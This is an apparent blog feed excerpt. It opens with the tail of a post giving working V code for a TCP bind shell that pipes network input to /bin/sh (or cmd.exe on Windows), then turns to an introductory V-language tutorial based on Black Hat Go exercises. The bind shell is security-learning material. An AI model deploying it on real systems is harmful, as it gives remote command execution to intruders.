</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">filename</span>: <span style="color:#e6db74">&#34;/bin/sh&#34;</span>,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">defer</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">proc</span>.close()
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.error(<span style="color:#e6db74">&#34;Unable to close connection.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Enable redirect for stdin/stdout/stderr</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">proc</span>.<span style="color:#a6e22e">set_redirect_stdio</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Start the process</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">proc</span>.<span style="color:#a6e22e">run</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// read-exec-return loop</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// read input from client</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">input</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">reader</span>.<span style="color:#a6e22e">read_line</span>() <span style="color:#a6e22e">or</span> { 
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.error(<span style="color:#e6db74">&#34;Unable to read command. Client possibly disconnected.&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// provide input to the process</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">proc</span>.<span style="color:#a6e22e">stdin_write</span>(
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// handle edge-case where blank input breaks /bin/sh</span>
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">input</span>.<span style="color:#a6e22e">len</span> <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span> {<span style="color:#a6e22e">input</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;\n&#39;</span>} <span style="color:#66d9ef">else</span> { <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">echo</span><span style="color:#960050;background-color:#1e0010">\</span><span style="color:#a6e22e">n</span><span style="color:#960050;background-color:#1e0010">&#39;</span> }
</span></span><span style="display:flex;"><span>		)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// fetch back the result</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">writer</span>.<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">proc</span>.<span style="color:#a6e22e">stdout_read</span>().<span style="color:#a6e22e">bytes</span>()) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.error(<span style="color:#e6db74">&#34;Unable to fetch output&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// flush the result to client</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">writer</span>.<span style="color:#a6e22e">flush</span>() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.error(<span style="color:#e6db74">&#34;Unable to send output&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">use_stdout</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">host</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">&#34;0.0.0.0&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">port</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">20080</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">listener</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">listen_tcp</span>(<span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">AddrFamily</span>.<span style="color:#a6e22e">ip</span>, <span style="color:#e6db74">&#34;${host}:${port}&#34;</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Failed to spawn a listener.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">info</span>(<span style="color:#e6db74">&#34;Started listener on ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">listener</span>.<span style="color:#a6e22e">accept</span>() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Failed to accept connections.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">handle</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="./cmd-exec.png" alt="cmd-exec"></p>
<p>Swapping the process filename from <code>/bin/sh</code> to <code>c:\\windows\\system32\\cmd.exe</code> and cross-compiling for Microsoft Windows allowed the bind-shell to work on a different OS with minimal effor.</p>
<p><img src="./cmd-exec-win.png" alt="cmd-exec-win"></p>
<h2 id="meme-time">Meme Time</h2>
<p><img src="./meme-my-echo-server.png" alt="meme-my-echo-server"></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Black Hat V: Introduction to something that I might or might not do</title>
      <link>https://ashtrace.github.io/posts/black_hat_v_intro/</link>
      <pubDate>Sun, 30 Nov 2025 11:19:42 +0530</pubDate>
      
      <guid>https://ashtrace.github.io/posts/black_hat_v_intro/</guid>
      <description><![CDATA[<p>After brothing my first set of cybersecurity alphabet soup of certifications (yup, now I&rsquo;ve hunt down OSCP for my HR peeps) I felt need to re-strategise my academic approach. Following is the first of many advents I have planned for myself. Throughout this and following posts (marked as Black Hat V), I&rsquo;d try to reconstruct the exercises of <a href="https://nostarch.com/blackhatgo">Black Hat Go (by Tom Steele, Chris Patten, and Dan Kottmann)</a> to encourage myself to learn <a href="https://vlang.io/">vlang</a>.</p>
<h2 id="setting-up-a-development-environment">Setting Up a Development Environment</h2>
<h3 id="downloading-and-installing-v">Downloading and Installing V</h3>
<p>Visit <a href="https://vlang.io/">vlang.io</a> and download for your OS. (I&rsquo;d be using linux througout this series, if Microsoft Windows is need I&rsquo;d leverage a VM).</p>
<p><img src="./download-vlang.png" alt="download-vlang"></p>
<p>Extract the zip archive downloaded. This would create a <code>v</code> directory with following contents. <code>./v</code> can be used to launch a REPL shell or compile/run <code>.v</code> source file.</p>
<p><img src="./v-files.png" alt="v-files"></p>
<blockquote>
<p>It is highly recommended, that you put V on your PATH. That saves you the effort to type in the full path to your v executable every time. V provides a convenience <code>v symlink</code> command to do that more easily.</p>
</blockquote>
<p>On Unix systems, it creates a <code>/usr/local/bin/v</code> symlink to your executable. To do that, run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>sudo ./v symlink
</span></span></code></pre></div><h3 id="choosing-an-ide">Choosing an IDE</h3>
<p>I configured <a href="https://code.visualstudio.com/">Microsoft Visual Studio Code</a> with extension for Vlang.</p>
<p><img src="./vscode-v.png" alt="vscode-v"></p>
<h2 id="breaking-ice-with-v-tool-commands">Breaking Ice with V tool commands</h2>
<h3 id="the-v-run-command">The <code>v run</code> command</h3>
<p>Create a source file with .v extension (let&rsquo;s say hello.v), with following code.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">hello</span> <span style="color:#a6e22e">world</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>From the command line, execute <code>v run hello.v</code>, you&rsquo;d see the message printed back on screen.</p>
<p><img src="./v-hello-world.png" alt="v-hello-world"></p>
<p>Similar to golang, <code>v run</code> does not produce a compiled executable. To create a binary file just remove the <code>run</code> from the command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>v hello.v
</span></span></code></pre></div><p>This should create an executable (ELF on linux, EXE on windows) with same name as the source code file.</p>
<p><img src="./v-compile-binary.png" alt="v-compile-binary"></p>
<p>To enable production mode optimizations while building, use <code>-prod</code> flag. This also helps to reduce the executable file size.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>v hello.v -prod
</span></span></code></pre></div><p><img src="./v-prod-build.png" alt="v-prod-build"></p>
<h3 id="cross-compilation">Cross-Compilation</h3>
<p>To cross-compile the file, just pass the target OS using <code>-os</code> flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>v hello.v -os windows
</span></span></code></pre></div><p><img src="./v-cross-compilation.png" alt="v-cross-compilation"></p>
<h3 id="the-v-install-command">The <code>v install</code> command</h3>
<p>To fetch third-party packages, use the <code>v install</code> command.</p>
<p><img src="./v-install.png" alt="v-install"></p>
<h3 id="the-v-fmt-command">The <code>v fmt</code> command</h3>
<p>You don&rsquo;t need to worry about formatting your code or setting style guidelines. v fmt takes care of that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>v fmt file.v
</span></span></code></pre></div><h3 id="v-playground">V Playground</h3>
<p>It is an execution environment that provides a web-based interface to play with the language. Try it <a href="https://play.vlang.io/">here</a>.</p>
<h2 id="the-v-syntax">The V Syntax</h2>
<p>For a thorough study of the language you can refer to <a href="https://docs.vlang.io/introduction.html">V Documentation</a>. Following is a brief overview of the syntax.</p>
<h3 id="data-types">Data Types</h3>
<h4 id="primitive-data-types">Primitive Data Types</h4>
<p>The primitive data types include</p>
<ul>
<li>bool</li>
<li>string</li>
<li>i8, i16, int, i64</li>
<li>u8, u16, u32, u64</li>
<li>rune (represents a single UTF-32 encoded Unicode character and is an alias for <code>u32</code>. To denote them, use <strong>`</strong> (backticks) )</li>
<li>f32, f64</li>
<li>isize, usize (platform dependent, the size of bytes it takes to reference any location in memory)</li>
<li>voidptr (for interoperability with C)</li>
</ul>
<blockquote>
<p>Unlike C and Go, <code>int</code> is always a <strong>32 bit integer</strong>.</p>
</blockquote>
<p>There is an exception to the rule that all operators in V must have values of the same type on both sides. A small primitive type on one side can be automatically promoted if it fits completely into the data range of the type on the other side. These are the allowed possibilities:</p>
<pre tabindex="0"><code>   i8 → i16 → int → i64
                  ↘     ↘
                    f32 → f64
                  ↗     ↗
   u8 → u16 → u32 → u64 ⬎
      ↘     ↘     ↘      ptr
   i8 → i16 → int → i64 ⬏
</code></pre><p>An int value for example can be automatically promoted to f64 or i64 but not to u32. (u32 would mean loss of the sign for negative values). Promotion from int to f32, however, is currently done automatically (but can lead to precision loss for large values).</p>
<p>Literals like 123 or 4.56 are treated in a special way. They do not lead to type promotions, however they default to int and f64 respectively, when their type has to be decided.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">u</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">u16</span>(<span style="color:#ae81ff">12</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">v</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">13</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">u</span>    <span style="color:#75715e">// v is of type `u16` - no promotion</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">x</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">f32</span>(<span style="color:#ae81ff">45.6</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">y</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">3.14</span>  <span style="color:#75715e">// y is of type `f32` - no promotion</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">a</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">75</span>        <span style="color:#75715e">// a is of type `int` - default for int literal</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">14.7</span>      <span style="color:#75715e">// b is of type `f64` - default for float literal</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">u</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">a</span>     <span style="color:#75715e">// c is of type `int` - automatic promotion of `u`&#39;s value</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">d</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">x</span>     <span style="color:#75715e">// d is of type `f64` - automatic promotion of `x`&#39;s value</span>
</span></span></code></pre></div><h4 id="strings">Strings</h4>
<p>In V, strings are encoded in UTF-8, and are immutable (read-only) by default.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">hello</span> <span style="color:#960050;background-color:#1e0010">🌎&#39;</span> <span style="color:#75715e">// the `world` emoji takes 4 bytes, and string length is reported in bytes</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">len</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">arr</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">bytes</span>() <span style="color:#75715e">// convert `string` to `[]u8`</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">arr</span>.<span style="color:#a6e22e">len</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">s2</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">arr</span>.<span style="color:#a6e22e">bytestr</span>() <span style="color:#75715e">// convert `[]u8` to `string`</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">s2</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">s</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">name</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Bob</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">name</span>.<span style="color:#a6e22e">len</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// indexing gives a byte, u8(66) == `B`</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">name</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">==</span> <span style="color:#a6e22e">u8</span>(<span style="color:#ae81ff">66</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">// slicing gives a string &#39;ob&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">name</span>[<span style="color:#ae81ff">1..3</span>] <span style="color:#f92672">==</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">ob</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// escape codes</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// escape special characters like in C</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">windows_newline</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;\</span><span style="color:#a6e22e">r</span><span style="color:#960050;background-color:#1e0010">\</span><span style="color:#a6e22e">n</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">windows_newline</span>.<span style="color:#a6e22e">len</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// arbitrary bytes can be directly specified using `\x##` notation where `#` is</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// a hex digit</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">aardvark_str</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;\</span><span style="color:#a6e22e">x61ardvark</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">aardvark_str</span> <span style="color:#f92672">==</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">aardvark</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#e6db74">&#39;\xc0&#39;</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">==</span> <span style="color:#a6e22e">u8</span>(<span style="color:#ae81ff">0xc0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// or using octal escape `\###` notation where `#` is an octal digit</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">aardvark_str2</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;\</span><span style="color:#ae81ff">141</span><span style="color:#a6e22e">ardvark</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">aardvark_str2</span> <span style="color:#f92672">==</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">aardvark</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Unicode can be specified directly as `\u####` where # is a hex digit</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// and will be converted internally to its UTF-8 representation</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">star_str</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">&#39;\u2605&#39;</span> <span style="color:#75715e">// ★</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">star_str</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;★&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// UTF-8 can be specified this way too, as individual bytes.</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">star_str</span> <span style="color:#f92672">==</span> <span style="color:#960050;background-color:#1e0010">&#39;\</span><span style="color:#a6e22e">xe2</span><span style="color:#960050;background-color:#1e0010">\</span><span style="color:#a6e22e">x98</span><span style="color:#960050;background-color:#1e0010">\</span><span style="color:#a6e22e">x85</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span></code></pre></div><p>Note that indexing a string normally will produce a <code>u8</code> (byte), not a <code>rune</code> nor another <code>string</code>. Indexes correspond to <em>bytes</em> in the string, not Unicode code points. If you want to convert the <code>u8</code> to a <code>string</code>, use the <code>.ascii_str()</code> method on the <code>u8</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">country</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Netherlands</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">country</span>[<span style="color:#ae81ff">0</span>]) <span style="color:#75715e">// Output: 78</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">country</span>[<span style="color:#ae81ff">0</span>].<span style="color:#a6e22e">ascii_str</span>()) <span style="color:#75715e">// Output: N</span>
</span></span></code></pre></div><p>However, you can easily get the runes for a string with the <code>runes()</code> method, which will return an array of the UTF-8 characters from the string. You can then index this array. Just be aware that there may be fewer indexes available on the rune array than on the bytes in the string, if there are any non-ASCII characters.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">hello</span> <span style="color:#960050;background-color:#1e0010">🌎&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// there are 10 bytes in the string (as shown earlier), but only 7 runes, since the `world` emoji</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// only counts as one `rune` (one Unicode character)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">runes</span>().<span style="color:#a6e22e">len</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">runes</span>()[<span style="color:#ae81ff">6</span>])
</span></span></code></pre></div><p>Prepend <code>r</code> for raw strings. Escapes are not handled, so you will get exacly what you type:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">r</span><span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">hello</span><span style="color:#960050;background-color:#1e0010">\</span><span style="color:#a6e22e">nworld</span><span style="color:#960050;background-color:#1e0010">&#39;</span> <span style="color:#75715e">// the `\n` will be preserved as two characters</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">s</span>) <span style="color:#75715e">// &#34;hello\nworld&#34;</span>
</span></span></code></pre></div><p>Strings can be easily converted to integers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#ae81ff">42</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">s</span>.int() <span style="color:#75715e">// 42</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// all int literals are supported</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#ae81ff">0xc3</span><span style="color:#960050;background-color:#1e0010">&#39;</span>.int() <span style="color:#f92672">==</span> <span style="color:#ae81ff">195</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#ae81ff">0</span><span style="color:#a6e22e">o10</span><span style="color:#960050;background-color:#1e0010">&#39;</span>.int() <span style="color:#f92672">==</span> <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#ae81ff">0b1111_0000_1010</span><span style="color:#960050;background-color:#1e0010">&#39;</span>.int() <span style="color:#f92672">==</span> <span style="color:#ae81ff">3850</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">assert</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#f92672">-</span><span style="color:#ae81ff">0b1111_0000_1010</span><span style="color:#960050;background-color:#1e0010">&#39;</span>.int() <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">3850</span>
</span></span></code></pre></div><h4 id="string-interpolation">String interpolation</h4>
<p>Basic interpolation syntax is pretty simple - use <code>${</code> before a variable name and <code>}</code> after. The variable will be converted to a string and embedded into the literal:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">name</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Bob</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Hello</span>, <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">name</span>}!<span style="color:#960050;background-color:#1e0010">&#39;</span>) <span style="color:#75715e">// Hello, Bob!</span>
</span></span></code></pre></div><h4 id="arrays">Arrays</h4>
<p>V arrays are homogeneous (all elements must have the same type). This means that code like <code>[1, 'a']</code> will not compile. The type of an array is determined by the first element:</p>
<ul>
<li><code>[1, 2, 3]</code> is an array of ints (<code>[]int</code>).</li>
<li><code>['a', 'b']</code> is an array of strings (<code>[]string</code>).</li>
</ul>
<p>The user can explicitly specify the type for the first element: <code>[u8(16), 32, 64, 128]</code>.</p>
<p>An element can be appended to the end of an array using the push operator &laquo;. It can also append an entire array.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">nums</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">30</span>]
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">nums</span>) <span style="color:#75715e">// `[10, 20, 30]`</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">nums</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">3</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">nums</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">nums</span>) <span style="color:#75715e">// &#34;[1, 2, 3, 4]&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// append array</span>
